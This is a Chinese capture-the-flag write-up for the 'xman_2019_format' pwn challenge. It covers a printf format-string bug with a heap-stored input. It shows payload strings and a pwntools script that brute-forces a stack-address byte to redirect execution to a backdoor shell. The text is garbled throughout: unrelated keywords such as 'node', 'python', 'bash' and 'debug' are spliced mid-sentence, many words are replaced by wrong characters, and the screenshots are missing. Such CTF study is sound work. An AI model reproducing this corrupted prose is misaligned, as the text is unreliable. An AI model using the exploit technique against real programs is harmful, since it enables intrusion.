根据本题,学习与收获有:node
printf
的字符串,若是是在堆上,那么就没法在栈上写地址利用%x$hn
去修改printf
会一次性取出全部的偏移的地址,再去修改。不是边写边修改!(结合调试过程理解!)ebp
寄存器会记录一个栈地址链,因此能够利用这一点特性,爆破修改这个栈地址链的最低字节,而后修改ebp
寄存器后4
个字节的内容,理想状态下,爆破1
个字节便可,并且,全部的地址都是对齐到地址页。层层套娃,终于走到了最后的处理函数。strtok
是字符串分割函数,分割的符号为|
。python
漏洞点很清楚,就是函数sub_80485c4
中,将传入的字符串使用|
分割后,直接调用printf
函数。很明显的格式化字符串漏洞。可是这里要注意:字符串存储在堆上。因此,不能在栈上写地址,而后利用栈的偏移来向任意地址写。所以,只能借助栈上已有的地址,往eip
寄存器里面写入目标地址。shell
注意到有一个后门函数:bash
只须要覆盖为这个函数的地址便可。函数
所以,本题利用的思路很清晰:学习
printf
肯定偏移测试
利用栈上的地址链,特别是ebp
地址链,修改中间某一个地址的最低字节,修改成存储eip
寄存器内容的那个地址debug
将这个可能会被压入eip
寄存器的地址的内容,修改成0x80475AB
3d
get_shell调试
本题须要一步步调试出来,首先测试一下偏移:
# 输入:%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
输入以前看一下栈:
这个调用链仍是很明显的
执行完成打印出来的内容为:
数一下,偏移为10
。
这个时候须要结合栈图整理一下思路:
0xffffceb8
地址处的内容为0xffffce9c
,这里须要修改最低的一个字节,偏移为100xffffce9c
地址处的内容为0x80485ab
,这里只须要修改最低的两个字节,偏移为18很容易写出最后的输入应该为:
%156c%10$hhn%34219c%18$hn
能够调试一下,在printf
函数下个断点,而后观察一下0xfffceb8
的内容变化:
第一次命中断点:
第二次命中断点:
此处的值已经改变:
能够看到,最低字节已经修改为功。而后继续执行printf
,看下0xffffce9c
是否是修改成目标值:
发现修改失败了:
仍是修改的最初的0xffffcee8
的内容,并非去修改的0xffffce9c
的内容!这说明,printf
格式化执行的时候,首先把全部对应偏移的地址先取出来,而后再去修改!
题目中,有一个|
分割符,所以,只须要利用分割符分开输入便可!
因此,最终的输入为:
%156c%10$hhn|%34219c%18$hn
执行了/bin/bash
实际上须要爆破最低的那个字节,因此最终的exp以下:
from pwn import * context.log_level='debug' for x in range(4, 0x100, 4): tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn' try: sh = process('./xman_2019_format') # sh = remote('node3.buuoj.cn', 27180) log.info('current low byte:{}'.format(hex(x))) sh.recv() sh.sendline(tar) sh.recv(timeout=1) sleep(1) sh.sendline('cat flag') sh.recvline_contains('flag', timeout=1) sh.interactive() except: sh.close()
远程爆破过程为: